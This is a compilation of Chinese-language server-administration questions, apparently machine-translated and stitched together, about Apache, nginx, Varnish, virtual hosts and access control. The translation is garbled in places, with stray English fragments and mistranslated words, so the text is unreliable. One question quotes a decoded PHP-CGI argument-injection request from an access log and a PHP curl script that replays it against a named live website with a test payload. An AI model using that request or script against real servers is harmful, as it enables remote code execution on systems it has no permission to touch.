我想用Apache mod_rewrite做一些简单的事情。 猜猜看,这是行不通的。 如果我在“理智”的环境中,也许我会得到一个错误和堆栈跟踪。 或者也许我可以使用debugging器。 或者,也许%{REQUEST_URI}应该是一个variables,我可以在控制台中打印出来,而不是使用演绎推理来弄清楚它可能包含什么,也可能不包含。 当我在浏览器中input的url通过.htaccess时,怎么可能find什么步骤?
我们有一个在Windows服务器上运行的repo服务器,它提供一些静态文件,这些静态文件应该由我们的工作者节点使用Python-urllib抓取。 问题在于,当我们向使用Python存在的文件发出请求时,我们会收到一个404错误,但是,如果我直接从浏览器访问文件,使用Python-urllib正在使用的相同链接,它工作得很好,文件被下载。 示例访问日志: xxx.xxx.xxx.xxx – – [24/Jul/2013:17:15:53 -0400] "POST /x/dl/Bukkit_Beta.jar.conf HTTP/1.1" 405 172 "-" "Python-urllib/2.7" 我在error.log中发现了一些奇怪的东西: 2013/08/04 22:29:11 [error] 6456#2696: *807 CreateFile() "C:\Users\Administrator\Desktop\Nginx/html/MCProHosting/dl/405" failed (2: The system cannot find the file specified), client: 198.15.64.226, server: localhost, request: "GET /MCProHosting/dl/405 HTTP/1.1", host: "repo.mcprohosting.com" 从这些日志看来确实正在生成一个405,而不是404,但是Python显示了一个404页面。 请注意,如果我们通过htdocs / html文件夹传输,这是一个新的下载的nginx下相同的目录结构在Apache下工作。 没有对Nginx进行configuration更改
有没有办法为单个域设置一个catchall(对于子域)虚拟服务器,我有一个预先定义的子域。 即: webmail.example.com – >指向“/ var / web / roundcube” beta.example.com – >指向“/ var / web / beta /” example.com和所有其他子域 – >指向“/ var / web / www” <VirtualHost *:80> ServerName webmail.example.com ServerAdmin [email protected] DocumentRoot /var/web/roundcube <Directory /var/web/roundcube/> … </Directory> … </VirtualHost> <VirtualHost *:80> ServerName beta.example.com ServerAdmin [email protected] DocumentRoot /var/web/beta <Directory /var/web/beta/> … </Directory> … </VirtualHost> […]
设置细节: 我有Apache 2.2.14在Ubuntu 10.04下运行。 虚拟主机的文档根目录设置为符号链接。 请求的脚本一目了然: <?php // other useful stuff here echo 'v1.2.42'; 所以除了做有用的工作之外,脚本还在页脚中输出它的版本。 该版本在脚本中被硬编码,并被构build脚本修改。 在部署新版本时,文档根目录将使用非常标准的方法切换到新版本: ln -s /path/to/app-1.2.43 app-new mv -Tf app-new app # where `app` is the document root 之后,我不做任何reload或restart的Apache。 今天就是我刚刚经历的另一个版本: 我将1.2.42版本升级到1.2.43 在浏览器中打开应用程序 底部是42 F5 – 仍然是42 。 然后42和43随机出现。 大约30秒后,预期的43开始持续显示。 另一台具有类似configuration的服务器的行为完全相同。 似乎有一些不断的超时,直到开始工作正常:-S 更多configuration细节: apacheconfiguration为通过mpm-prefork运行。 PHP的版本是5.3.2,它被安装为mod_php 。 没有安装任何操作码caching。 任何想法,它可以caching它? apache2 reload 保证这不会发生? PS:我已经certificate(对我自己), […]
我正在运行的Ubuntu 12.04服务器,我尝试主办一个网站,我从另一台服务器复制。 当我现在尝试本地连接ip xxx.xxx.xxx.xx/mywebsite 一个窗口打开,我必须键入凭据 我的Ubuntu帐户在这里不起作用,那么我需要什么? 我没有设置任何.htaccess或.htpwd 有没有人有想法? 你需要更多信息 ? 所以让我知道,我可以补充。
警告:以下请求可能会损害您的服务器。 我在apache日志中得到了一些奇怪的东西: "POST /%70%68%70%70%61%74%68/%70%68%70?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E HTTP/1.1" 200 276 "-" "-" 意即: POST /phppath/php?-d allow_url_include=on -d safe_mode=off -d suhosin.simulation=on -d disable_functions="" -d open_basedir=none -d auto_prepend_file=php://input -n 正如你可以看到这给200,但是当我用curl运行它: <?php $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "http://aussehenwie.de/%70%68%70%70%61%74%68/%70%68%70?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E"); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, "<?php echo 'hacked'; "); echo curl_exec($ch); curl_close($ch); ?> 它返回一个404.这是一样的,当我从terminal运行它。 为什么? 这个尴尬的URL在做什么?
我最近更新了我的Ubuntu的Apache到2.4从源代码编译,作为副作用,我面临一个奇怪的行为。 Apache能够在本地提供文件,但不能在其他机器上提供。 例如,当我在同一台机器上键入我的机器的本地IP 192.168.0.81时,打开该页面。 但是当我在其他机器上(在同一个networking上)input时,它会发出“Forbidden 403”错误响应。 以下是我已经testing过的场景: closuresApache以确保403是由Apache生成的。 结果是积极的,一旦closures,根本不会产生任何反应。 如前所述,使用本地networkingIP(192.168.0.81)加载页面,以确保Apache正在监听,而不仅仅是127.0.0.1。 结果是积极的,页面可以加载在Apache驻留在同一台机器(但不是其他机器)。 testingApache的日志:否定的。 在access_log和error_log中都没有input,这是怎么回事。 或者至less我找不到它! 我个人认为,当Apache为本地请求提供文件时,它代表某个用户执行该操作,但是当请求来自其他某台机器时,用户将被更改,并且(无论他是谁)没有足够的访问权限,导致“禁止403”错误。 所以为了testing这个,我把所有文件的模式都改成了777,但没有运气。 有什么build议么?
我有一个13.04 Ubuntu服务器与两个关联的IP地址。 比方说,例如,IP是123.456.789.111和123.456.789.222 ,服务器有两个域,比如example1.com和example2.com 。 我目前有Apache的服务example2.com,我有example1.com由Varnish> Nginx服务 。 除了example1.com实际上是由Apache服务的,尽pipe所有的设置显示它应该由nginx服务。 在DNS example1.com指向123.456.789.111和example2.com指向123.456.789.222 。 在 /etc/apache2/ports.conf 我已经设置为: NameVirtualHost 123.456.789.222:80 Listen 80 所以指向这个域的任何域都应该被Apache服务,这就是发生了什么事情。 在 /etc/default/varnish 我已经设置为: DAEMON_OPTS="-a 123.456.789.111:80 \ -T localhost:6082 \ -f /etc/varnish/default.vcl \ -S /etc/varnish/secret \ -s malloc,256m" 因此,指向该域的任何网站都应该被Varnish拾起。 然后在: /etc/varnish/default.vcl 我已经设置为: backend default { .host = "127.0.0.1"; .port = "8080"; } 从varnish到nginx的所有内容, /etc/nginx/sites-available/example1.com root /var/www/example1.com/public/ […]
我试图阻止访问我的网站取决于访问者是否通过另一个网站访问了该网站。 后者已经通过使用iframe来通过他的网站显示内容来使用我的stream量,掩盖了我的网站的身份。 我有mod_env_if在apache2中激活。 ErrorDocument 403 /error403.html SetEnv noaccess=0 SetEnvIf Referer "^http://sitetoblock\.tk/" noaccess=1 SetEnvIf Referer "^http://www\.sitetoblock\.tk/" noaccess=1 <FilesMatch "\.(gif|png|jpe?g|php|html)$"> Order Allow,Deny Deny from env=noaccess </FilesMatch> 问题是这个指令阻止了包括站点的直接访问者在内的所有stream量。 我究竟做错了什么?
我的一个客户抱怨说有一次袭击。 我检查了访问日志,发现从表面上随机的IP地址的pipe理login页面的大量请求。 我在/administrator目录中创build了一个.htacces文件,并使用以下(IP地址混淆)填充它: order deny,allow deny from all allow from 96.xxx.xx.xxx #my IP address allow from 97.xx.xxx.xxx #my client's IP address 然后,我去了一个免费的代理服务器,并inputpipe理页面的URL。 该页面没有加载任何资产(图片),但它确实加载了实际的页面本身。 的Joomla! 在DocumentRoot的.htaccess文件中做一些SEF的东西。 它看起来像这样: ## Begin – Joomla! core SEF Section. # RewriteRule .* – [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] # # If the requested path and file is not /index.php and the request # has not […]